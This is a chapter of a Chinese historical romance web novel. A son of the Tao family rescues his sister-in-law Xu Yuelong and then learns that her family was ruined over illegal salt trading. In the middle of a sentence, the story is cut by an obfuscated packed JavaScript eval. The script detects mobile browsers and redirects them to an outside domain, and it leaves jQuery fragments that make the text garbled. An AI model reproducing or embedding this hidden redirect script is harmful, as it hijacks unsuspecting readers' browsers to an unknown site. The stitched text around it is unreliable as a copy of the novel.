我走过去,想要问她是否觉得冷。
她似乎有所察觉,微微扭过头,瞥见我正靠近她,就突然转向我,戒备地道:
“别过来!”
我停住脚,看到她湿答答的一缕碎发斜在清冷又柔弱的脸上。
黑色的斗篷遮住她的身体,她又双臂紧抱,这使我更加忍不住多想,脑海中浮现刚刚从水里救出她时的样子——她身型并不丰腴,却凹凸有致。
我让自己平静下来,知道自己实在不该在这种时候冒犯她的美好,就算是想一想也不应该。
“如果冷的话,就去床上盖好被子暖一暖。”
我说完便离开房间,关好了房门,在门口守着。
不久之后,老板娘买了衣服回来,我要她把衣服送进去,让许月胧换上。我则去另一个房间换下湿衣服。
等我换好回到许月胧门外时,听见屋里的老板娘正在和她说话。
“夫人您的皮肤可真好!老申我活了这么多年,还从未见过如夫人这般光滑白嫩的!”
此时此刻,我脑海中产生了联想,有一种很炙热的东西在我四肢百骸中翻涌,那是一种难以控制却必须控制的情欲。
老板娘很快从房间里走出来,我让她把我们弄湿的衣服拿去洗干净。
老板娘把我们当成了夫妻关系,笑着道:“客官快进去吧!你夫人已经换好了!”
我没有纠正她,心里反而很高兴,多赏了她二两银子。
走进房间,许月胧已经整理好头发和衣服,端坐在椅子上。
我不知道我哪根筋抽搐,不由自主问了一个很突然的问题:
“如果我大哥没有死,你会喜欢他么?”
她愣住了,心里不知在考虑着什么,良久才道:
“这种事谁又能说得准呢?我与你大哥当初也并不熟识。”
她的回答模棱两可,我不知道应该高兴还是难过。
她起身又道:“我们该回去了!”
我道:“你换成这身衣服回去,只怕他们看到了会多心。”
我把她单独带走,她原本就担心别人会误会,如今连衣服都换了,自然更是担心别人会多想。
“那该怎么办?”
“我已经让老板娘把你的衣服拿去洗了,今日阳光大好,很快就能晾干,等衣服干了再回去也不迟。”
她不说话,表示同意了。
我手臂上的箭伤虽然不深,却因为一直没有包扎,刚刚又沾了水,这会儿感觉到有些疼痛,伤口处的血又一次渗透了衣服。
许月胧斜睨着我,道:“你的伤……没事吧?”
她好不容易关心起我,我不想错过机会,故意往重了说:
“沾了水,现在疼得厉害!要是化了脓,以后这条手臂可能就废了!”
她似乎信以为真,皱了皱眉,然后走出去跟老板娘要了伤药和纱布。
“将衣袖撩起来!”她命令似地道。
连关心人都要这么态度冰冷,我不禁偷偷地勾了勾嘴角,感到无可奈何又心满意足。
我撩起衣袖,她纤纤玉手轻柔地为我上药包扎。
此时我已经完全不知道疼了,目光落在她脸上就不想移开。
她始终低着头,问我:
“那个王肆被打的事,也是你干的吧?”
我只顾盯着她看,明明听到了她说的话,却好像没往脑子里进似的,忘记了回答。
她突然抬起头,又一次问道:
“到底是不是你?”
我被她突如其来的目光一惊,才回过神来,道:
“哦!是!”
她又继续低头为我包扎,“你为什么要那么做?”
“因为那日我们游船时他对你无理!”
她依然按部就班地帮我缠好纱布,什么都没说。
直到给我包扎好,她回到自己的椅子上坐下,又道:
“我的家人什么时候才能到上都?”
“我派去的人应该已经到了沁州,很快就会有消息。”
许月胧神色中浮现出一丝喜悦。
我担心她待在这里会感到无聊,所以问她要不要去听戏,她没有推辞。
也是巧合,今天戏院里唱的是一出父母历尽艰辛寻子的故事,故事的结局是一家团圆。
许月胧眼里泪光闪烁,应该是想到自己被困在陶府多年,而她的爹娘却未曾来看过她,与戏里的情节大相径庭而感到难过。亦或许是因为想到很快要与家人团聚,所以感到欢喜激动。
看完戏,时间已到傍晚,我们回到客栈换回原来的衣服,租了辆马车,一同回到府里。
西蔷儿从杏屏院里匆匆走出来,问道:
“公子和夫人去哪里了?大家都很担心!”
我只说我的房间还缺些物件,让许月胧帮我去挑选了。
许月胧用异样的眼神看了看我,道:
“西蔷儿,帮我送送三弟弟!”
“不必了!”我转身就走。
不知西蔷儿是遵了许月胧的意,还是自己的主意,小跑过来追上我:
“三公子,您等一下,奴婢有话想说!”
我停下来,“什么事?”
她犹犹豫豫,想说又不敢说似的。
“要是没什么事,我就去父亲那里了!”我道。
“等一下!”她突然抓住我手腕。
我十分厌恶,看了看她那只手,又看着她那张脸。
她对上我冰冷的目光,眼睛里透露出些许惧色,连忙收回了手,扮出一副怯懦无辜的模样来:
“奴婢是想,您把小梨调到了杏屏院,您院子里一定缺人手,蔷儿虽然笨拙,但是如果能去照顾三公子,定当尽心尽力!”
尽心尽力?
我心里不禁发出讽刺的一问。
五年前我也以为她是个尽心尽力的奴婢,可是她却在我茶中下了毒!
我看似平静地道:“我那里不缺人手,你用心照顾少夫人就好,若是少夫人有什么闪失,我可决不饶恕!”
我这么说,也算是敲山震虎,让她不敢对许月胧做什么坏事。
“三公子,奴婢不是不愿意服侍少夫人,只是奴婢在府中多年,一直的愿望就是到三公子身边去,三公子就成全奴婢一片心意吧!”
西蔷儿还不甘心,那副摇尾乞怜的虚伪面孔令我深恶痛绝。
我委婉道:“这件事以后再说吧!我现在要去父亲那里!”
我转身离开,憎恨的表情终于瞬间就肆意地浮于面上。
……
去父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448143|167741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那里后,把今天发生的事讨论了一番。
我总觉得今天发生的事太过蹊跷。而且从如今的形势来看,无论是王管还是皇帝,都不敢真的对我和阿链怎么样,因为一旦我们出了事,父亲一定会跟皇帝鱼死网破,那他们今天的目的到底是什么呢?
想到那日在猎场射箭之后,王管对我说的那句“陶三公子可真是深藏不露啊!”,所以今天只是为了试探我的武功吗?
父亲眼睛里藏着深不见底的意味,似乎已经有了什么计划,准备对皇权发出挑衅。
我回到自己的院落,朔川好像等了我许久,急忙跑过来道:
“公子,您可回来了!”
我见他神情急迫,问道:“发生了什么事?”
“您派去沁州的人回来了!事情不太妙!”
我心头一震,有一种不好的预感,赶紧叫他们前来禀报。
听完以后,我终于明白为什么五年前岳父那么急切地求我娶回许月胧。
原来前些年因为大锦民生凋敝,岳父家的生意并不好做,家底眼看就要赔光。
为了能让许家的生意起死回生,岳父与私盐贩子合作,在自己店里贩卖私盐。
在大锦,贩卖私盐是重罪,全家人都要受牵连。
我猜测岳父大概是因为听到了一些风声,知道自己已经被官府盯上,事情很快就会暴露。所以为了不连累女儿,才让许月胧嫁到上都来避祸。
毕竟褚右河是保不住许月胧的,而陶家可以,不会有人敢来陶家抓人。
后来,就在我与许月胧大婚的那天,岳父果然被查了出来,不仅被抄家,还被斩首示众。
许月胧的母亲和哥哥妹妹都被关进大牢。岳母因为身体不好,在狱中病死;许月胧的哥哥也因为没钱打点狱卒,被活活打死;许月胧的妹妹则被那些狱卒卖给了人贩子而下落不明。
这个噩耗令我心如刀割,我本想让许月胧一家团聚,让她开心,可是如今我该如何向她交待……
我愣愣地坐在那里,心里乱成一团。
“公子,您没事吧?”
朔川就站在我旁边喊我,我却感觉他的声音那么遥远……
第二天早膳时间,许月胧像往常一样,默默地吃着饭,而我却不知道该如何面对她。
她有权利知道她家里的情况,可是如果她知道了,一定会悲痛欲绝。
吃过饭,我很怕她会问起我派人去沁州的事,所以特意避开她匆忙离席。
路上,我恰巧遇见褚右河在散步,想到他应该知道许家的事。
我有意无意提了一句:“我长嫂的家人,褚记室应该都认得吧!”
褚右河怔了怔,神情紧张起来,半晌才道:
“认得,多年前在沁州时见过几面。”
我不知该如何问下去,毕竟他肯定也没有告诉许月胧许家已经出了事。
虽然不知道他为什么没有告诉她,但是我知道即便是我,也难以对许月胧开口。
想了想还是不必多问了,便无声无息地走开了。
事到如今,唯一的希望就是许月胧的妹妹。如果能找到她,或许会给许月胧一些慰藉。
我命朔川亲自去一趟沁州,去审问那几个把许月胧的妹妹卖掉的狱卒,希望可以找到一些线索。